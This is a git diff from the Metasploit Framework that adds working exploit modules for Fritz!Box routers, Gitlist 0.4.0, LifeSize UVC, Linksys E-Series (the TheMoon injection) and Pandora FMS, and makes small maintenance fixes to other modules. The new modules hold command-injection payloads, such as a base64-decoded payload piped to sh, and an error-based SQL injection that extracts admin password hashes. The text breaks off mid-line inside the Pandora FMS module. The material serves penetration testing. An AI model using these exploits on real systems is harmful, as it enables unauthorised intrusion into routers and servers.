a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -67,7 +67,7 @@ class Metasploit4 < Msf::Exploit::Remote if res.headers['Location'] =~ /users\/login$/ fail_with(Failure::NoAccess, 'Authentication failed') else - session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ + session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/ fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil? end diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb new file mode 100644 index 0000000000..698afb9fba --- /dev/null +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -0,0 +1,117 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Fritz!Box Webcm Unauthenticated Command Injection', + 'Description' => %q{ + Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection. + This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the + following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270, + 7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE, + 6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270 + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'Fabian Braeunlein ', # Metasploit PoC with wget method + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '103289' ], + [ 'BID', '65520' ], + [ 'URL', 'http://www.kapple.de/?p=75' ], # vulnerability details with PoC + [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ], # probably the first published details (now censored) + [ 'URL', 'http://pastebin.com/GnMKGmZ2' ], # published details uncensored from speckmarschall + [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], # vendor site with a list of vulnerable devices + [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] # writeup with PoC + ], + 'DisclosureDate' => 'Feb 11 2014', + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ], + ], + 'DefaultTarget' => 0 + )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + clue = Rex::Text::rand_text_alpha(rand(5) + 5) + + res = send_request_cgi({ + 'uri' => '/cgi-bin/webcm', + 'method' => 'GET', + 'vars_get' => { + "var:lang" => "&echo -e \"\\n\\n#{clue}\"" + } + }) + if res && res.body =~ /#{clue}/ + return Exploit::CheckCode::Vulnerable + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def execute_command(cmd, opts) + begin + res = send_request_cgi({ + 'uri' => '/cgi-bin/webcm', + 'method' => 'GET', + 'vars_get' => { + "var:lang" => "&#{cmd}", + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 92 + ) + end +end diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb new file mode 100644 index 0000000000..22c67b55c6 --- /dev/null +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gitlist Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution vulnerability + in version 0.4.0 of Gitlist. The problem exists in the handling of an specially + crafted file name when trying to blame it. + }, + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'drone', #discovery/poc by @dronesec + 'Brandon Perry ' #Metasploit module + ], + 'References' => + [ + ['CVE', '2014-4511'], + ['EDB', '33929'], + ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'] + ], + 'Payload' => + { + 'Space' => 8192, # max length of GET request really + 'BadChars' => "&\x20", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl', + } + }, + 'Targets' => + [ + ['Gitlist 0.4.0', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 30 2014' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) + ], self.class) + end + + def check + repo = get_repo + + if repo.nil? + return Exploit::CheckCode::Unknown + end + + chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5)) + + res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode") + + if res && res.body + if res.body.include?(Rex::Text.decode_base64(chk)) + return Exploit::CheckCode::Vulnerable + elsif res.body.to_s =~ /sh.*not found/ + return Exploit::CheckCode::Vulnerable + end + end + + Exploit::CheckCode::Safe + end + + def exploit + repo = get_repo + if repo.nil? + fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository") + end + send_command(repo, payload.encoded) + end + + def get_repo + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/") + }) + + unless res + return nil + end + + first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body) + + unless first_repo && first_repo.length >= 2 + return nil + end + + repo_name = first_repo[1] + + repo_name + end + + def send_command(repo, cmd) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`') + }, 1) + + res + end + +end diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index bc7621a5dc..1a1b961b1c 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre. }, - 'Author' => [ 'Yann Senotier ' ], + 'Author' => [ 'Yann Senotier ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index 676e931b3d..2491fe0af6 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote 'josso_password' => datastore['PASSWORD'] } }) - if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/ + if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/ return $1 else return nil diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index 1029c220a0..5ebaca92ab 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index 0a7a08978f..d221f58945 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb new file mode 100644 index 0000000000..a625370869 --- /dev/null +++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "LifeSize UVC Authenticated RCE via Ping", + 'Description' => %q{ + When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker + can abuse the ping diagnostic functionality to achieve remote command + execution as the www-data user (or equivalent). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' #discovery/metasploit module + ], + 'References' => + [ + ['EDB', '32437'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['LifeSize UVC version <= 1.2.6', {}] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python' + } + }, + 'DisclosureDate' => "Mar 21 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123']) + ], self.class) + end + + def exploit + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'accounts', 'login/') + }) + + if !res or !res.body + fail_with("Server did not respond in an expected way") + end + + if res.code != 200 + fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port") + end + + token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) + + if token.length < 2 + fail_with("Could not find token on page.") + end + + token = token[1] + + post = { + 'csrfmiddlewaretoken' => token, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + + #referer is required + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'accounts/'), + 'method' => 'POST', + 'vars_post' => post, + 'headers' => { + 'Referer' => 'https://' + datastore['RHOST'] + '/accounts/' + }, + 'cookie' => 'csrftoken=' + token + }) + + if !res + fail_with("Server did not respond in an expected way") + end + + #we want a 302, 200 means we are back at login page + if res.code == 200 + fail_with("Authentication failed. Please check your username and password.") + end + + cookie = res.get_cookies + + new_cookie = 'csrftoken=' + token + '; ' + cookie + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), + 'cookie' => new_cookie + }) + + if !res or !res.body + fail_with("Server did not respond in an expected way") + end + + token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) + token = token[1] + + new_cookie = 'csrftoken=' + token + '; ' + cookie + + pay = 'csrfmiddlewaretoken='+token + pay << '&source_ip=' + datastore['RHOST'] + pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com' + + #referer is required + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), + 'method' => 'POST', + 'headers' => { + 'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/' + }, + 'cookie' => new_cookie, + 'data' => pay + }) + end +end + diff --git a/modules/exploits/linux/http/linksys_apply_cgi.rb b/modules/exploits/linux/http/linksys_apply_cgi.rb index 95d28ad2c9..e46621bd2a 100644 --- a/modules/exploits/linux/http/linksys_apply_cgi.rb +++ b/modules/exploits/linux/http/linksys_apply_cgi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 6e5c006a98..c4d7219cd1 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb new file mode 100644 index 0000000000..274e17cfce --- /dev/null +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys E-Series TheMoon Remote Command Injection', + 'Description' => %q{ + Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command + injection. This vulnerability was used from the so-called "TheMoon" worm. There + are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000, + E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested + successfully against an E1500 v1.0.5. + }, + 'Author' => + [ + 'Johannes Ullrich', #worm discovery + 'Rew', # original exploit + 'infodox', # another exploit + 'Michael Messner ', # Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '31683' ], + [ 'BID', '65585' ], + [ 'OSVDB', '103321' ], + [ 'URL', 'http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt' ], + [ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ], + [ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ], + [ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ] + ], + 'DisclosureDate' => 'Feb 13 2014', + 'Privileged' => true, + 'Platform' => %w{ linux unix }, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Linux mipsel Payload', + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + [ 'Linux mipsbe Payload', + { + 'Arch' => ARCH_MIPSBE, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0 + )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + + def execute_command(cmd, opts) + begin + res = send_request_cgi({ + 'uri' => '/tmUnblock.cgi', + 'method' => 'POST', + 'encode_params' => true, + 'vars_post' => { + "submit_button" => "", + "change_action" => "", + "action" => "", + "commit" => "0", + "ttcp_num" => "2", + "ttcp_size" => "2", + "ttcp_ip" => "-h `#{cmd}`", + "StartEPI" => "1" + } + }, 2) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/tmUnblock.cgi', + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager({:flavor => :echo}) + end + +end diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 26d1c3c07b..c8d41f7060 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit test_login - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end # Sends an HTTP request with authorization header to the router @@ -105,8 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote end # Helper methods - def user; datastore['USERNAME']; end - def pass; datastore['PASSWORD'] || ''; end + def user + datastore['USERNAME'] + end + + def pass + datastore['PASSWORD'] || '' + end def send_auth_request_cgi(opts={}, timeout=nil) timeout ||= datastore['TIMEOUT'] diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index bb8c137b99..289ad49c36 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 7e778969bc..34f3ec1421 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 03d03adf5f..bd9cf31035 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ first_session = $1 end @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => "JSESSIONID=#{first_session}" }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ @session = $1 return true end diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index d89036bbc8..e4c2587641 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 5a6242c404..44a14d74ae 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb index f2085b65ce..9fce52a1a5 100644 --- a/modules/exploits/linux/http/netgear_readynas_exec.rb +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 8ca4131d31..b588bb1053 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Privileged' => false, 'Payload' => { - 'BadChars' => "\x0d\x0a", + 'BadChars' => "\x0d\x0a" }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index b1542c492e..564c529733 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -103,8 +103,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") begin res = send_request_cgi({ - 'uri' => "/admin/system.html?step=2&device=lo#{cmd}", - 'cookie' => "usercookie=#{user}; passcookie=#{pass};", + 'uri' => '/admin/system.html', + 'cookie' => "usercookie=#{user}; passcookie=#{pass};", + 'vars_get' => { + 'step' => '2', + 'device' => "lo#{cmd}" + } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unknown, 'Connection failed') diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index 7a5a8cc6b6..110c774531 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pandora_fms_sqli.rb b/modules/exploits/linux/http/pandora_fms_sqli.rb new file mode 100644 index 0000000000..070c50dd90 --- /dev/null +++ b/modules/exploits/linux/http/pandora_fms_sqli.rb @@ -0,0 +1,317 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution', + 'Description' => %q{ + This module attempts to exploit multiple issues in order to gain remote + code execution under Pandora FMS version <= 5.0 SP2. First, an attempt + to authenticate using default credentials is performed. If this method + fails, a SQL injection vulnerability is leveraged in order to extract + the "Auto Login" password hash. If this value is not set, the module + will then extract the administrator account's MD5 password hash. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Lincoln ', # Discovery, Original Proof of Concept + 'Jason Kratzer ' # Metasploit Module + ], + 'References' => + [ + ['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'], + ['URL', 'http://blog.pandorafms.org/?p=2041'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Pandora FMS version <= 5.0 SP2', {}] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 50000, + 'DisableNops' => true, + }, + 'DisclosureDate' => "Feb 1 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']), + OptString.new('USER', [false, 'The username to authenticate with', 'admin']), + OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']), + ], self.class) + end + + def uri + target_uri.path + end + + + def check + vprint_status("#{peer} - Trying to detect installed version") + + version = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php') + }) + + if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/ + if res.body =~ /
v(.*?)<\/div>/ + version = $1 + else + return Exploit::CheckCode::Detected + end + end + + unless version.nil? + vprint_status("#{peer} - Pandora FMS #{version} found") + if Gem::Version.new(version) <= Gem::Version.new('5.0SP2') + return Exploit::CheckCode::Appears + end + end + + Exploit::CheckCode::Safe + end + + + # Attempt to login with credentials (default admin:pandora) + def authenticate + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'vars_get' => { + 'login' => "1", + }, + 'vars_post' => { + 'nick' => datastore['USER'], + 'pass' => datastore['PASS'], + 'Login' => 'Login', + } + }) + + return auth_succeeded?(res) + end + + # Attempt to login with auto login and SQLi + def login_hash + clue = rand_text_alpha(8) + sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join + # select value from tconfig where token = 'loginhash_pwd'; + sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST" + sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 " + sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP " + sqli << "BY x)a) AND 'msf'='msf" + + password = inject_sql(sqli, clue) + + if password && password.length != 0 + print_status("#{peer} - Extracted auto login password (#{password})") + else + print_error("#{peer} - No auto login password has been defined!") + return false + end + + print_status("#{peer} - Attempting to authenticate using (admin:#{password})") + # Attempt to login using login hash password + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'vars_get' => { + 'loginhash' => 'auto', + }, + 'vars_post' => { + 'loginhash_data' => Rex::Text.md5("admin#{password}"), + 'loginhash_user' => 'admin', + } + }) + + return auth_succeeded?(res) + end + + + def auth_succeeded?(res) + if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS') + print_status("#{peer} - Successfully authenticated!") + print_status("#{peer} - Attempting to retrieve session cookie") + @cookie = res.get_cookies + if @cookie.include?('PHPSESSID') + print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}") + return true + else + print_error("#{peer} - Error retrieving cookie!") + end + else + print_error("#{peer} - Authentication failed!") + end + + false + end + + + def extract + # Generate random string and convert to hex + clue = rand_text_alpha(8) + hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join + + # select password from 